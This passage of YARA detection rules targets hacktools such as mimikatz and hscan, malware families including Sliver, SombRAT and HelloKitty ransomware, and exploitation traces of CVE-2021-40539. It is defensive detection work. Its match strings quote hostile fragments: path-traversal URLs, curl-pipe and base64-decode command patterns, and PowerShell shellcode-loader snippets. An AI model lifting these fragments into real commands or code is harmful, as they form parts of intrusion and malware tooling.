		$s2 = "%s -h 192.168.0.1 192.168.0.254 -port -ftp -max 200,100" fullword ascii
		$s3 = ".\\report\\%s-%s.html" fullword ascii
		$s4 = ".\\log\\Hscan.log" fullword ascii
		$s5 = "[%s]: Found cisco Enable password: %s !!!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them
}

rule _Project1_Generate_rejoice
{
	meta:
		description = "Chinese Hacktool Set - from files Project1.exe, Generate.exe, rejoice.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		super_rule = 1
		hash0 = "d1a5e3b646a16a7fcccf03759bd0f96480111c96"
		hash1 = "2cb4c3916271868c30c7b4598da697f59e9c7a12"
		hash2 = "fe634a9f5d48d5c64c8f8bfd59ac7d8965d8f372"
		id = "4b36d450-1194-527c-8565-7f321d486d01"

	strings:
		$s1 = "sfUserAppDataRoaming" fullword ascii
		$s2 = "$TRzFrameControllerPropertyConnection" fullword ascii
		$s3 = "delphi32.exe" fullword ascii
		$s4 = "hkeyCurrentUser" fullword ascii
		$s5 = "%s is not a valid IP address." fullword wide
		$s6 = "Citadel hooking error" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them
}

rule _hscan_hscan_hscangui
{
	meta:
		description = "Chinese Hacktool Set - from files hscan.exe, hscan.exe, hscangui.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		super_rule = 1
		hash0 = "17a743e40790985ececf5c66eaad2a1f8c4cffe8"
		hash1 = "568b06696ea0270ee1a744a5ac16418c8dacde1c"
		hash2 = "af8aced0a78e1181f4c307c78402481a589f8d07"
		id = "174b0ee4-23ce-59fd-a784-ab58fd13ce67"

	strings:
		$s1 = ".\\log\\Hscan.log" fullword ascii
		$s2 = ".\\report\\%s-%s.html" fullword ascii
		$s3 = "[%s]: checking \"FTP account: ftp/ftp@ftp.net\" ..." fullword ascii
		$s4 = "[%s]: IPC NULL session connection success !!!" fullword ascii
		$s5 = "Scan %d targets,use %4.1f minutes" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 240KB and all of them
}

rule kiwi_tools
{
	meta:
		description = "Chinese Hacktool Set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		super_rule = 1
		hash0 = "e57e79f190f8a24ca911e6c7e008743480c08553"
		hash1 = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
		hash2 = "7ac7541e20af7755b7d8141c5c1b7432465cabd8"
		hash3 = "9fbfe3eb49d67347ab57ae743f7542864bc06de6"
		hash4 = "5c90d648c414bdafb549291f95fe6f27c0c9b5ec"
		hash5 = "7addce4434670927c4efaa560524680ba2871d17"
		hash6 = "28c5c0bdb7786dc2771672a2c275be7d9b742ec7"
		hash7 = "b5c93489a1b62181594d0fb08cc510d947353bc8"
		hash8 = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
		hash9 = "5d578df9a71670aa832d1cd63379e6162564fb6b"
		hash10 = "febadc01a64a071816eac61a85418711debaf233"
		hash11 = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
		hash12 = "56a61c808b311e2225849d195bbeb69733efe49a"
		hash13 = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
		hash14 = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
		hash15 = "f661d6516d081c37ab7da0f4ec21b2cc6a9257c6"
		hash16 = "20facf1fa2d87cccf177403ca1a7852128a9a0ab"
		hash17 = "6e0ffa472d63fdda5abc4c1b164ba8724dcb25b5"
		id = "000f0081-b035-5c73-8da2-addde2b55303"

	strings:
		$s1 = "http://blog.gentilkiwi.com/mimikatz" ascii
		$s2 = "Benjamin Delpy" fullword ascii
		$s3 = "GlobalSign" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule kiwi_tools_gentil_kiwi
{
	meta:
		description = "Chinese Hacktool Set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		super_rule = 1
		hash0 = "e57e79f190f8a24ca911e6c7e008743480c08553"
		hash1 = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
		hash2 = "7ac7541e20af7755b7d8141c5c1b7432465cabd8"
		hash3 = "9fbfe3eb49d67347ab57ae743f7542864bc06de6"
		hash4 = "5c90d648c414bdafb549291f95fe6f27c0c9b5ec"
		hash5 = "7addce4434670927c4efaa560524680ba2871d17"
		hash6 = "28c5c0bdb7786dc2771672a2c275be7d9b742ec7"
		hash7 = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
		hash8 = "5d578df9a71670aa832d1cd63379e6162564fb6b"
		hash9 = "febadc01a64a071816eac61a85418711debaf233"
		hash10 = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
		hash11 = "56a61c808b311e2225849d195bbeb69733efe49a"
		hash12 = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
		hash13 = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
		hash14 = "f661d6516d081c37ab7da0f4ec21b2cc6a9257c6"
		hash15 = "6e0ffa472d63fdda5abc4c1b164ba8724dcb25b5"
		id = "4ad54580-b10b-5b17-8d8a-510e210e04d1"

	strings:
		$s1 = "mimikatz" fullword wide
		$s2 = "Copyright (C) 2012 Gentil Kiwi" fullword wide
		$s3 = "Gentil Kiwi" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

import "pe"

rule MAL_Nitol_Malware_Jan19_1
{
	meta:
		description = "Detects Nitol Malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/shotgunner101/status/1084602413691166721"
		date = "2019-01-14"
		hash1 = "fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e"
		id = "5b9968a8-31ba-593b-9e01-b69a4e31fe65"

	strings:
		$xc1 = { 00 25 75 20 25 73 00 00 00 30 2E 30 2E 30 2E 30
               00 25 75 20 4D 42 00 00 00 25 64 2A 25 75 25 73
               00 7E 4D 48 7A }
		$xc2 = "GET ^&&%$%$^" ascii
		$n1 = ".htmGET " ascii
		$s1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
		$s2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
		$s3 = "User-Agent:Mozilla/5.0 (X11; U; Linux i686; en-US; re:1.4.0) Gecko/20080808 Firefox/%d.0" fullword ascii
		$s4 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( pe.imphash ( ) == "286870a926664a5129b8b68ed0d4a8eb" or 1 of ( $x* ) or #n1 > 4 or 4 of them )
}

rule LOG_EXPL_ADSelfService_CVE_2021_40539_ADSLOG_Sep21 : LOG
{
	meta:
		description = "Detects suspicious log lines produeced during the exploitation of ADSelfService vulnerability CVE-2021-40539"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://us-cert.cisa.gov/ncas/alerts/aa21-259a"
		date = "2021-09-20"
		score = 70
		id = "156317c6-e726-506d-8b07-4f74dae2807f"

	strings:
		$x1 = "Java traceback errors that include references to NullPointerException in addSmartCardConfig or getSmartCardConfig" ascii wide

	condition:
		filesize < 50MB and 1 of them
}

rule LOG_EXPL_ADSelfService_CVE_2021_40539_WebLog_Sep21_1 : LOG
{
	meta:
		description = "Detects suspicious log lines produeced during the exploitation of ADSelfService vulnerability CVE-2021-40539"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://us-cert.cisa.gov/ncas/alerts/aa21-259a"
		date = "2021-09-20"
		score = 60
		id = "015957a6-8778-5836-af94-6e6d3838f693"

	strings:
		$x1 = "/ServletApi/../RestApi/LogonCustomization" ascii wide
		$x2 = "/ServletApi/../RestAPI/Connection" ascii wide

	condition:
		filesize < 50MB and 1 of them
}

rule BitPaymer
{
	meta:
		description = "Rule to detect newer Bitpaymer samples. Rule is based on BitPaymer custom packer"
		author = "Morphisec labs"
		refrence = "http://blog.morphisec.com/bitpaymer-ransomware-with-new-custom-packer-framework"
		id = "916de232-1f1b-5853-a57f-623812cfed16"

	strings:
		$opcodes1 = {B9 ?? 00 00 00 FF 14 0F B8 FF 00 00 00 C3 89 45 FC}
		$opcodes2 = {61 55 FF 54 B7 01 B0 FF C9 C3 CC 89 45 FC}

	condition:
		( uint16( 0 ) == 0x5a4d ) and ( $opcodes1 or $opcodes2 )
}

rule SUSP_LNX_Linux_Malware_Indicators_Aug20_1
{
	meta:
		description = "Detects indicators often found in linux malware samples"
		author = "Florian Roth (Nextron Systems)"
		score = 65
		reference = "Internal Research"
		date = "2020-08-03"
		id = "9a1093a6-0239-5d1c-aa30-1ca725941583"

	strings:
		$s1 = "&& chmod +x" ascii
		$s2 = "|base64 -" ascii
		$s3 = " /tmp" ascii
		$s4 = "|curl " ascii
		$s5 = "whoami" ascii fullword
		$fp1 = "WITHOUT ANY WARRANTY" ascii
		$fp2 = "postinst" ascii fullword
		$fp3 = "THIS SOFTWARE IS PROVIDED" ascii fullword
		$fp4 = "Free Software Foundation" ascii fullword

	condition:
		filesize < 400KB and 3 of ( $s* ) and not 1 of ( $fp* )
}

rule gen_exploit_CVE_2017_10271_WebLogic : HIGHVOL
{
	meta:
		description = "Exploit for CVE-2017-10271 (Oracle WebLogic)"
		author = "John Lambert @JohnLaTwC"
		date = "2018-03-21"
		hash1 = "376c2bc11d4c366ad4f6fecffc0bea8b195e680b4c52a48d85a8d3f9fab01c95"
		hash2 = "7d5819a2ea62376e24f0dd3cf5466d97bbbf4f5f730eb9302307154b363967ea"
		hash3 = "864e9d8904941fae90ddd10eb03d998f85707dc2faff80cba2e365a64e830e1d/subfile"
		hash4 = "2a69e46094d0fef2b3ffcab73086c16a10b517f58e0c1f743ece4f246889962b"
		reference = "https://github.com/c0mmand3rOpSec/CVE-2017-10271, https://www.fireeye.com/blog/threat-research/2018/02/cve-2017-10271-used-to-deliver-cryptominers.html"
		id = "e30e316f-1ebb-5c38-ba25-d2a9d0083a03"

	strings:
		$s1 = "<soapenv:Header"
		$s2 = "java.beans.XMLDecoder"
		$s3 = "void" fullword
		$s4 = "index="
		$s5 = "/array>"
		$s6 = "\"start\""
		$s7 = "work:WorkContext" nocase

	condition:
		filesize < 10KB and ( uint32( 0 ) == 0x616f733c or uint32( 0 ) == 0x54534f50 ) and all of ( $s* )
}

rule VULN_Dell_BIOS_Update_Driver_DBUtil_May21
{
	meta:
		description = "Detects vulnerable DELL BIOS update driver that allows privilege escalation as reported in CVE-2021-21551 - DBUtil_2_3.Sys - note: it's usual location is in the C:\\Windows\\Temp folder"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/"
		date = "2021-05-05"
		score = 60
		hash1 = "0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5"
		hash2 = "ddbf5ecca5c8086afde1fb4f551e9e6400e94f4428fe7fb5559da5cffa654cc1"
		id = "6d46866e-40fb-5fbf-b159-6bf688e638cb"

	strings:
		$s1 = "\\DBUtilDrv2" ascii
		$s2 = "DBUtil_2_3.Sys" ascii fullword
		$s3 = "[ Dell BIOS Utility Driver - " ascii fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and all of them
}

rule Sliver_Implant_32bit
{
	meta:
		description = "Sliver 32-bit implant (with and without --debug flag at compile)"
		hash = "911f4106350871ddb1396410d36f2d2eadac1166397e28a553b28678543a9357"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "6bc4d7d1-64cf-5920-8f07-54a8a7a94f26"

	strings:
		$s_tcppivot = { 81 ?? 74 63 70 70 [2-20] 81 ?? 04 69 76 6F 74  }
		$s_wg = { 66 81 ?? 77 67 }
		$s_dns = { 66 81 ?? 64 6E [2-20] 80 ?? 02 73 }
		$s_http = { 81 ?? 68 74 74 70 }
		$s_https = { 81 ?? 68 74 74 70 [2-20] 80 ?? 04 73 }
		$s_mtls = { 81 ?? 6D 74 6C 73 }
		$fp1 = "cloudfoundry" ascii fullword

	condition:
		4 of ( $s* ) and not 1 of ( $fp* )
}

rule Sliver_Implant_64bit
{
	meta:
		description = "Sliver 64-bit implant (with and without --debug flag at compile)"
		hash = "2d1c9de42942a16c88a042f307f0ace215cdc67241432e1152080870fe95ea87"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "b84db933-0e11-5871-821d-43697c015665"

	strings:
		$s_tcppivot = { 48 ?? 74 63 70 70 69 76 6F 74 }
		$s_namedpipe = { 48 ?? 6E 61 6D 65 64 70 69 70 [2-32] 80 ?? 08 65 }
		$s_https = { 81 ?? 68 74 74 70 [2-32] 80 ?? 04 73 }
		$s_wg = {66 81 ?? 77 67}
		$s_dns = { 66 81 ?? 64 6E [2-20] 80 ?? 02 73 }
		$s_mtls = {  81 ?? 6D 74 6C 73  }
		$fp1 = "cloudfoundry" ascii fullword

	condition:
		5 of ( $s* ) and not 1 of ( $fp* )
}

import "pe"

rule APT_Tick_Sysmon_Loader_Jun18
{
	meta:
		description = "Detects Sysmon Loader from Tick group incident - Weaponized USB"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/"
		date = "2018-06-23"
		hash1 = "31aea8630d5d2fcbb37a8e72fe4e096d0f2d8f05e03234645c69d7e8b59bb0e8"
		id = "eae013c3-4774-5342-bd1a-5f2825612747"

	strings:
		$x1 = "SysMonitor_3A2DCB47" fullword ascii
		$s1 = "msxml.exe" fullword ascii
		$s2 = "wins.log" fullword ascii
		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run" fullword ascii
		$s4 = "%2d-%2d-%2d-%2d" fullword ascii
		$s5 = "%USERPROFILE%" fullword ascii
		$s6 = "Windows NT" fullword ascii
		$s7 = "device monitor" fullword ascii
		$s8 = "\\Accessories" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "c5bb16e79fb500c430edce9481ae5b2b" or $x1 or 6 of them )
}

rule APT_Tick_HomamDownloader_Jun18
{
	meta:
		description = "Detects HomamDownloader from Tick group incident - Weaponized USB"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/"
		date = "2018-06-23"
		hash1 = "f817c9826089b49d251b8a09a0e9bf9b4b468c6e2586af60e50afe48602f0bec"
		id = "8ec52cb7-41a4-50a9-9cb1-23bee354680f"

	strings:
		$s1 = "cmd /c hostname >>" fullword ascii
		$s2 = "Mstray.exe" fullword ascii
		$s3 = "msupdata.exe" fullword ascii
		$s5 = "Windows\\CurrentVersion\\run" fullword ascii
		$s6 = "Content-Type: */*" fullword ascii
		$s11 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and 3 of them
}

rule Kriskynote_Mar17_1
{
	meta:
		description = "Detects Kriskynote Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-03-03"
		hash1 = "a19c4b615aa54207604b181873e614d84126b639fee2cce3ca9d5bd863f6f577"
		hash2 = "62b41db0bf63fa45a2c2b0f5df8c2209a5d96bf2bddf82749595c66d30b7ec61"
		id = "b1e5df0c-0112-5fee-85e9-cb0ca31f5234"

	strings:
		$s1 = "gzwrite64" fullword ascii
		$opa1 = { e8 6b fd ff ff 83 f8 ff 74 65 83 7b 28 00 74 42 }
		$opb1 = { 8a 04 08 8b 8e a4 16 00 00 88 44 24 0c 66 c7 04 }
		$opb2 = { 89 4e 6c 89 46 74 e9 ad fc ff ff 8b 46 68 85 c0 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and $s1 and ( $opa1 or all of ( $opb* ) )
}

rule Kriskynote_Mar17_2
{
	meta:
		description = "Detects Kriskynote Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-03-03"
		hash1 = "cb9a2f77868b28d98e4f9c1b27b7242fec2f2abbc91bfc21fe0573e472c5dfcb"
		id = "704baf41-9718-537f-9456-381a9f42fb97"

	strings:
		$s1 = "fgjfcn8456fgjhfg89653wetwts" fullword ascii
		$op0 = { 33 c0 80 34 30 03 40 3d e6 21 00 00 72 f4 b8 e6 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and 1 of them )
}

rule Kriskynote_Mar17_3
{
	meta:
		description = "Detects Kriskynote Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-03-03"
		hash1 = "fc838e07834994f25b3b271611e1014b3593278f0703a4a985fb4234936df492"
		id = "647fac4c-2326-5a68-9890-8236022c1548"

	strings:
		$s1 = "rundll32 %s Check" fullword ascii
		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs" fullword ascii
		$s3 = "name=\"IsUserAdmin\"" fullword ascii
		$s4 = "zok]\\\\\\ZZYYY666564444" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 2 of them )
}

rule gen_python_encoded_adware
{
	meta:
		description = "Encoded Python payload for adware"
		author = "John Lambert @JohnLaTwC"
		date = "2018-03-07"
		modified = "2023-01-06"
		hash = "5d7239be779367e69d2e63ffd9dc6e2a1f79c4e5c6c725e8c5e59a44c0ab2fff"
		reference = "https://twitter.com/JohnLaTwC/status/949048002466914304"
		id = "7b4b422b-c960-5ab3-a6a7-a30e416efdec"

	strings:
		$r1 = "=__import__(\"base64\").b64decode"
		$s1 = "bytes(map(lambda"
		$s2 = "[1]^"

	condition:
		filesize < 100KB and @r1 < 100 and all of them
}

rule QuarksPwDump_Gen
{
	meta:
		description = "Detects all QuarksPWDump versions"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-09-29"
		score = 80
		hash1 = "2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa"
		hash2 = "87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f"
		hash3 = "a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9"
		hash4 = "c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab"
		hash5 = "677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa"
		hash6 = "d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674"
		hash7 = "8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819"
		id = "7de4f59e-6cf5-5ad7-ae1f-8532d9e80c9e"

	strings:
		$s1 = "OpenProcessToken() error: 0x%08X" fullword ascii
		$s2 = "%d dumped" fullword ascii
		$s3 = "AdjustTokenPrivileges() error: 0x%08X" fullword ascii
		$s4 = "\\SAM-%u.dmp" ascii

	condition:
		all of them
}

rule APT_UNC2447_MAL_SOMBRAT_May21_1
{
	meta:
		description = "Detects SombRAT samples from UNC2447 campaign"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
		date = "2021-05-01"
		modified = "2023-01-07"
		hash1 = "61e286c62e556ac79b01c17357176e58efb67d86c5d17407e128094c3151f7f9"
		hash2 = "99baffcd7a6b939b72c99af7c1e88523a50053ab966a079d9bf268aff884426e"
		id = "78b46bed-4fd4-596f-bba7-12243f467af3"

	strings:
		$x1 = "~arungvc" ascii fullword
		$s1 = "plugin64_" ascii
		$s2 = "0xUnknown" ascii fullword
		$s3 = "b%x.%s" ascii fullword
		$s4 = "/news" ascii
		$sc1 = { 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73
               00 2E 00 65 00 78 00 65 00 00 00 00 00 00 00 00
               00 49 73 57 6F 77 36 34 50 72 6F 63 65 73 73 00
               00 6B 00 65 00 72 00 6E 00 65 00 6C 00 33 00 32
               00 00 00 00 00 00 00 00 00 47 00 6C 00 6F 00 62
               00 61 00 6C 00 5C 00 25 00 73 }
		$op1 = { 66 90 0f b6 45 80 32 44 0d 81 34 de 88 44 0d 81 48 ff c1 48 83 f9 19 72 e9 }
		$op2 = { 48 8b d0 66 0f 6f 05 ?1 ?? 0? 00 f3 0f 7f 44 24 68 66 89 7c 24 58 41 b8 10 00 00 00 4c 39 40 10 4c 0f 42 40 10 48 83 78 18 08 }
		$op3 = { 49 f7 b0 a0 00 00 00 42 0f b6 04 0a 41 30 44 33 fe 48 83 79 18 10 72 03 48 8b 09 33 d2 b8 05 00 00 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( ( 1 of ( $x* ) and 1 of ( $s* ) ) or 3 of them ) or 5 of them
}

rule APT_UNC2447_MAL_RANSOM_HelloKitty_May21_1
{
	meta:
		description = "Detects HelloKitty Ransomware samples from UNC2447 campaign"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
		date = "2021-05-01"
		hash1 = "02a08b994265901a649f1bcf6772bc06df2eb51eb09906af9fd0f4a8103e9851"
		hash2 = "0e5f7737704c8f25b2b8157561be54a463057cd4d79c7e016c30a1cf6590a85c"
		hash3 = "52dace403e8f9b4f7ea20c0c3565fa11b6953b404a7d49d63af237a57b36fd2a"
		hash4 = "7be901c5f7ffeb8f99e4f5813c259d0227335680380ed06df03fb836a041cb06"
		hash5 = "947e357bfdfe411be6c97af6559fd1cdc5c9d6f5cea122bf174d124ee03d2de8"
		hash6 = "9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0"
		hash7 = "a147945635d5bd0fa832c9b55bc3ebcea7a7787e8f89b98a44279f8eddda2a77"
		hash8 = "bade05a30aba181ffbe4325c1ba6c76ef9e02cbe41a4190bd3671152c51c4a7b"
		hash9 = "c2498845ed4b287fd0f95528926c8ee620ef0cbb5b27865b2007d6379ffe4323"
		hash10 = "dc007e71085297883ca68a919e37687427b7e6db0c24ca014c148f226d8dd98f"
		hash11 = "ef614b456ca4eaa8156a895f450577600ad41bd553b4512ae6abf3fb8b5eb04e"
		id = "c84b2430-dcf1-5a80-96a0-02d292ea386b"

	strings:
		$xop1 = { 8b 45 08 8b 75 f4 fe 85 f7 fd ff ff 0f 11 44 05 b4 83 c0 10 89 45 08 83 f8 30 7c 82 }
		$xop2 = { 81 c3 dc a9 b0 5c c1 c9 0b 33 c8 89 55 a0 8b c7 8b 7d e0 c1 c8 06 33 f7 }
		$s1 = "select * from Win32_ShadowCopy" wide fullword
		$s2 = "bootfont.bin" wide fullword
		$s3 = "DECRYPT_NOTE.txt" wide fullword
		$s4 = ".onion" wide
		$sop1 = { 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 53 0f 11 45 ec }
		$sop2 = { 56 57 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 }
		$sop3 = { 57 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 53 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and 1 of ( $x* ) or 3 of them
}

rule APT_UNC2447_MAL_RANSOM_HelloKitty_May21_2
{
	meta:
		description = "Detects HelloKitty Ransomware samples from UNC2447 campaign"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
		date = "2021-05-01"
		hash1 = "10887d13dba1f83ef34e047455a04416d25a83079a7f3798ce3483e0526e3768"
		hash2 = "3ae7bedf236d4e53a33f3a3e1e80eae2d93e91b1988da2f7fcb8fde5dcc3a0e9"
		hash3 = "501487b025f25ddf1ca32deb57a2b4db43ccf6635c1edc74b9cff54ce0e5bcfe"
		hash4 = "9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0"
		id = "82aaabc6-102a-512e-8c2a-4d6fda864c68"

	strings:
		$xop1 = { 50 8d 45 f8 50 ff 75 fc ff 15 ?? ?? 42 00 3d ea 00 00 00 75 18 83 7d f8 00 }
		$s1 = "HelloKittyMutex" wide
		$s2 = "%s\\read_me_lkd.txt" wide fullword
		$s3 = "/C ping 127.0.0.1 & del %s" wide fullword
		$s4 = "(%d) [%d] %s: STOP DOUBLE PROCESS RUN" ascii fullword
		$sop1 = { 6a 00 6a 01 ff 75 fc ff 15 ?? ?? 42 00 85 c0 0f 94 c3 ff 75 fc ff 15 ?? ?? 42 00 }
		$sop2 = { 74 12 6a 00 6a 01 ff 75 fc ff 15 ?? ?? 42 00 85 c0 0f 94 c3 ff 75 fc }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and 1 of ( $x* ) or 2 of them
}

rule APT_UNC2447_PS1_WARPRISM_May21_1
{
	meta:
		description = "Detects WARPRISM PowerShell samples from UNC2447 campaign"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
		date = "2021-05-01"
		hash1 = "3090bff3d16b0b150444c3bfb196229ba0ab0b6b826fa306803de0192beddb80"
		hash2 = "63ba6db8c81c60dd9f1a0c7c4a4c51e2e56883f063509ed7b543ad7651fd8806"
		hash3 = "b41a303a4caa71fa260dd601a796033d8bfebcaa6bd9dfd7ad956fac5229a735"
		id = "fa389a45-3b31-5a84-9882-49fd6ee8cac5"

	strings:
		$x1 = "if ($MyInvocation.MyCommand.Path -match '\\S') {" ascii fullword
		$s1 = "[DllImport(\"kernel32.dll\")]public static extern IntPtr VirtualAlloc(IntPtr " ascii wide
		$s2 = "[Runtime.InteropServices.Marshal]::Copy($" ascii wide
		$s3 = "[System.Diagnostics.Process]::Start((-join(" ascii wide

	condition:
		filesize < 5000KB and 1 of ( $x* ) or 2 of them
}

rule APT_UNC2447_BAT_Runner_May21_1
{
	meta:
		description = "Detects Batch script runners from UNC2447 campaign"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
		date = "2021-05-01"
		modified = "2023-01-07"
		hash1 = "ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc"
		id = "0bacd4f7-421a-570f-9f74-5a19ab806dd0"

	strings:
		$x1 = "powershell.exe -c \"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String([IO.File]::" ascii
		$x2 = "wwansvc.txt')))\" | powershell.exe -" ascii

	condition:
		filesize < 5000KB and 1 of them
}

rule Malware_JS_powershell_obfuscated
{
	meta:
		description = "Unspecified malware - file rechnung_3.js"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-03-24"
		hash1 = "3af15a2d60f946e0c4338c84bd39880652f676dc884057a96a10d7f802215760"
		id = "7995dd3a-5942-5c48-9e50-64f4964249a7"

	strings:
		$x1 = "po\" + \"wer\" + \"sh\" + \"e\" + \"ll\";" fullword ascii

	condition:
		filesize < 30KB and 1 of them
}

rule apt28_win_zebrocy_golang_loader_modified
{
	meta:
		description = "Detects unpacked modified APT28/Sofacy Zebrocy Golang."
		author = "@VK_Intel"
		date = "2018-12-25"
		reference = "https://www.vkremez.com/2018/12/lets-learn-progression-of-apt28sofacy.html"
		id = "cce9ba6c-954c-5b13-a058-cdf7895d63fc"

	strings:
		$go = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 }
		$init = { 6d 61 69 6e 2e 69 6e 69 74 }
		$main = "main" ascii wide fullword
		$scr_git = {67 69 74 68 75 62 2e 63 6f 6d 2f 6b 62 69 6e 61}
		$s0 = "os/exec.(*Cmd).Run" fullword ascii
		$s1 = "net/http.(*http2clientConnReadLoop).processHeaders" fullword ascii
		$s2 = "os.MkdirAll" fullword ascii
		$s3 = "os.Getenv" fullword ascii
